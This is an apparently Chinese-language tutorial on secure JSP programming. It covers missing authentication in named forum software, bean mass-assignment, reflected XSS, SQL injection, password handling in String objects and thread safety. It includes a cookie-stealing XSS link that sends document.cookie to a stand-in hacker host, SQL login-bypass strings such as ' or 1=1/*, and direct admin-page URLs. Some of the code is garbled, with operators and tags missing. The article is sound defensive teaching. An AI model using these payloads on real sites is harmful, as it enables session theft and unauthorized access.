建立動態網頁的技術正在不斷升溫.JSP和ASP、PHP、工作機制不太一樣.一般說來,JSP頁面在執行時是編譯式,而不是解釋式的.首次調用JSP文件其實是執行一個編譯為Servlet的過程.當瀏覽器向伺服器請求這一個JSP文件的時候,伺服器將檢查自上次編譯后JSP文件是否有改變,如果沒有改變,就直接執行Servlet,而不用再重新編譯,這樣,效率便得到了明顯提高.
今天我將和大家一起從腳本編程的角度看JSP的安全,那些諸如源碼暴露類的安全隱患就不在這篇文章討論範圍之內了.寫這篇文章的主要目的是給初學JSP編程的朋友們提個醒,從一開始就要培養安全編程的意識,不要犯不該犯的錯誤,避免可以避免的損失.另外,我也是初學者,如有錯誤或其它意見請發帖賜教.
一、認證不嚴——低級失誤
在溢洋論壇v1.12 修正版中,
user_manager.jsp是用戶管理的頁面,作者知道它的敏感性,加上了一把鎖:
if ((session.getValue("UserName")==null)││(session.getValue("UserClass")==null)││(! session.getValue("UserClass").equals("系統管理員")))
{
response.sendRedirect("err.jsp?id=14");
return;
}
如果要查看、修改某用戶的信息,就要用modifyuser_manager.jsp這個文件.管理員提交
http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51
就是查看、修改ID為51的用戶的資料(管理員默認的用戶ID為51).但是,如此重要的文件竟缺乏認證,普通用戶(包括遊客)也直接提交上述請求也可以對其一覽無餘(密碼也是明文存儲、顯示的).modifyuser_manage.jsp同樣是門戶大開,直到惡意用戶把數據更新的操作執行完畢,重定向到user_manager.jsp的時候,他才會看見那個姍姍來遲的顯示錯誤的頁面.顯然,只鎖一扇門是遠遠不夠的,編程的時候一定要不厭其煩地為每一個該加身份認證的地方加上身份認證.
二、守好JavaBean的入口
JSP組件技術的核心是被稱為bean的java組件.在程序中可把邏輯控制、資料庫操作放在javabeans組件中,然後在JSP文件中調用它,這樣可增加程序的清晰度及程序的可重用性.和傳統的ASP或PHP頁面相比,JSP頁面是非常簡潔的,因為許多動態頁面處理過程可以封裝到JavaBean中.
要改變JavaBean屬性,要用到「 下面的代碼是假想的某電子購物系統的源碼的一部分,這個文件是用來顯示用戶的購物框中的信息的,而checkout.jsp是用來結帳的. <?XML:NAMESPACE PREFIX = JSP /> You have added the item to your basket. Your total is $ Proceed to checkout 注意到property="*"了嗎?這表明用戶在可見的JSP頁面中輸入的,或是直接通過Query String提交的全部變數的值,將存儲到匹配的bean屬性中. 一般,用戶是這樣提交請求的: http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342 但是不守規矩的用戶呢?他們可能會提交: http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0 這樣,balance=0的信息就被在存儲到了JavaBean中了.當他們這時點擊「chekout」結賬的時候,費用就全免了. 這與PHP中全局變數導致的安全問題如出一轍.由此可見:「property="*"」一定要慎用! 三、長盛不衰的跨站腳本 跨站腳本(Cross Site Scripting)攻擊是指在遠程WEB頁面的HTML代碼中手插入惡意的JavaScript, VBScript, ActiveX, HTML, 或Flash等腳本,竊取瀏覽此頁面的用戶的隱私,改變用戶的設置,破壞用戶的數據.跨站腳本攻擊在多數情況下不會對伺服器和WEB程序的運行造成影響,但對客戶端的安全構成嚴重的威脅. 以仿動網的阿菜論壇(beta-1)舉個最簡單的例子.當我們提交 http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>alert(document.cookie) 便能彈出包含自己cookie信息的對話框.而提交 http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.163.com' 就能重定向到網易. 由於在返回「name」變數的值給客戶端時,腳本沒有進行任何編碼或過濾惡意代碼,當用戶訪問嵌入惡意「name」變數數據鏈接時,會導致腳本代碼在用戶瀏覽器上執行,可能導致用戶隱私泄露等後果.比如下面的鏈接: http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.hackersite.com/xxx.xxx?' document.cookie xxx.xxx用於收集後邊跟的參數,而這裡參數指定的是document.cookie,也就是訪問此鏈接的用戶的cookie.在ASP世界中,很多人已經把偷cookie的技術練 得爐火純青了.在JSP里,讀取cookie也不是難事.當然,跨站腳本從來就不會局限於偷cookie這一項功能,相信大家都有一定了解,這裡就不展開了. 對所有動態頁面的輸入和輸出都應進行編碼,可以在很大程度上避免跨站腳本的攻擊.遺憾的是,對所有不可信數據編碼是資源密集型的工作,會對 Web 伺服器產生性能方面的影響.常用的手段還是進行輸入數據的過濾,比如下面的代碼就把危險的字元進行替換: <% String message = request.getParameter("message"); message = message.replace ('<','_'); message = message.replace ('>','_'); message = message.replace ('"','_'); message = message.replace (''','_'); message = message.replace ('%','_'); message = message.replace (';','_'); message = message.replace ('(','_'); message = message.replace (')','_'); message = message.replace ('&','_'); message = message.replace (' ','_'); %> 更積極的方式是利用正則表達式只允許輸入指定的字元: public boolean isValidInput(String str) { if(str.matches("[a-z0-9] ")) return true; else return false; } 四、時刻牢記SQL注入 一般的編程書籍在教初學者的時候都不注意讓他們從入門時就培養安全編程的習慣.著名的《JSP編程思想與實踐》就是這樣向初學者示範編寫帶資料庫的登錄系統的(資料庫為MySQL): Statement stmt = conn.createStatement(); String checkUser = "select * from login where username = '" userName "' and userpassword = '" userPassword "'"; ResultSet rs = stmt.executeQuery(checkUser); if(rs.next()) response.sendRedirect("SuccessLogin.jsp"); else response.sendRedirect("FailureLogin.jsp"); 這樣是的盡信書的人長期使用這樣先天「帶洞」的登錄代碼.如果資料庫里存在一個名叫「jack」的用戶,那麼在不知道密碼的情況下至少有下面幾種方法可以登錄: 用戶名:jack 密碼:' or 'a'='a 用戶名:jack 密碼:' or 1=1/* 用戶名:jack' or 1=1/* 密碼:(任意) lybbs(凌雲論壇)ver 2.9.Server在LogInOut.java中是這樣對登錄提交的數據進行檢查的: if(s.equals("") ││ s1.equals("")) throw new UserException("用戶名或密碼不能空."); if(s.indexOf("'") != -1 ││ s.indexOf(""") != -1 ││ s.indexOf(",") != -1 ││ s.indexOf("\") != -1) throw new UserException("用戶名不能包括 ' " \ , 等非法字元."); if(s1.indexOf("'") != -1 ││ s1.indexOf(""") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf("\") != -1) throw new UserException("密碼不能包括 ' " \ * 等非法字元."); if(s.startsWith(" ") ││ s1.startsWith(" ")) throw new UserException("用戶名或密碼中不能用空格."); 但是我不清楚為什麼他只對密碼而不對用戶名過濾星號.另外,正斜杠似乎也應該被列到「黑名單」中.我還是認為用正則表達式只允許輸入指定範圍內的字元來得乾脆. 這裡要提醒一句:不要以為可以憑藉某些資料庫系統天生的「安全性」就可以有效地抵禦所有的攻擊.pinkeyes的那篇《PHP注入實例》就給那些依賴PHP的配置文件中的「magic_quotes_gpc = On」的人上了一課. 五、String對象帶來的隱患 Java平台的確使安全編程更加方便了.Java中無指針,這意味著 Java 程序不再像C那樣能對地址空間中的任意內存位置定址了.在JSP文件被編譯成 .class 文件時會被檢查安全性問題,例如當訪問超出數組大小的數組元素的嘗試將被拒絕,這在很大程度上避免了緩衝區溢出攻擊.但是,String對象卻會給我們帶來一些安全上的隱患.如果密碼是存儲在 Java String 對象中的,則直到對它進行垃圾收集或進程終止之前,密碼會一直駐留在內存中.即使進行了垃圾收集,它仍會存在於空閑內存堆中,直到重用該內存空間為止.密碼 String 在內存中駐留得越久,遭到竊聽的危險性就越大.更糟的是,如果實際內存減少,則操作系統會將這個密碼 String 換頁調度到磁碟的交換空間,因此容易遭受磁碟塊竊聽攻擊.為了將這種泄密的可能性降至最低(但不是消除),您應該將密碼存儲在 char 數組中,並在使用后對其置零(String 是不可變的,無法對其置零). 六、線程安全初探 「JAVA能做的,JSP就能做」.與ASP、PHP等腳本語言不一樣,JSP默認是以多線程方式執行的.以多線程方式執行可大大降低對系統的資源需求,提高系統的併發量及響應時間.線程在程序中是獨立的、併發的執行路徑,每個線程有它自己的堆棧、自己的程序計數器和自己的局部變數.雖然多線程應用程序中的大多數操作都可以并行進行,但也有某些操作(如更新全局標誌或處理共享文件)不能并行進行.如果沒做好線程的同步,在大併發量訪問時,不需要惡意用戶的「熱心參與」,問題也會出現.最簡單的解決方案就是在相關的JSP文件中加上: <%@ page isThreadSafe="false" %>指令,使它以單線程方式執行,這時,所有客戶端的請求以串列方式執行.這樣會嚴重降低系統的性能.我們可以仍讓JSP文件以多線程方式執行,通過對函數上鎖來對線程進行同步.一個函數加上synchronized 關鍵字就獲得了一個鎖.看下面的示例: public class MyClass{ int a; public Init() {//此方法可以多個線程同時調用 a = 0; } public synchronized void Set() {//兩個線程不能同時調用此方法 if(a>5) { ; a= a-5; } } } 但是這樣仍然會對系統的性能有一定影響.一個更好的方案是採用局部變數代替實例變數.因為實例變數是在堆中分配的,被屬於該實例的所有線程共享,不是線程安全的,而局部變數在堆棧中分配,因為每個線程都有它自己的堆棧空間,這樣線程就是安全的了.比如凌雲論壇中添加好友的代碼: public void addFriend(int i, String s, String s1) throws DBConnectException { try { if…… else { DBConnect dbconnect = new DBConnect("insert into friend (authorid,friendname) values (?,?)"); dbconnect.setInt(1, i); dbconnect.setString(2, s); dbconnect.executeUpdate(); dbconnect.close(); dbconnect = null; } } catch(Exception exception) { throw new DBConnectException(exception.getMessage()); } } 下面是調用: friendName=ParameterUtils.getString(request,"friendname"); if(action.equals("adduser")) { forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName); errorInfo=forumFriend.getErrorInfo(); } 如果採用的是實例變數,那麼該實例變數屬於該實例的所有線程共享,就有可能出現用戶A傳遞了某個參數后他的線程轉為睡眠狀態,而參數被用戶B無意間修改,造成好友錯配的現象.
[火星人 ] JSP安全編程實例淺析已經有854次圍觀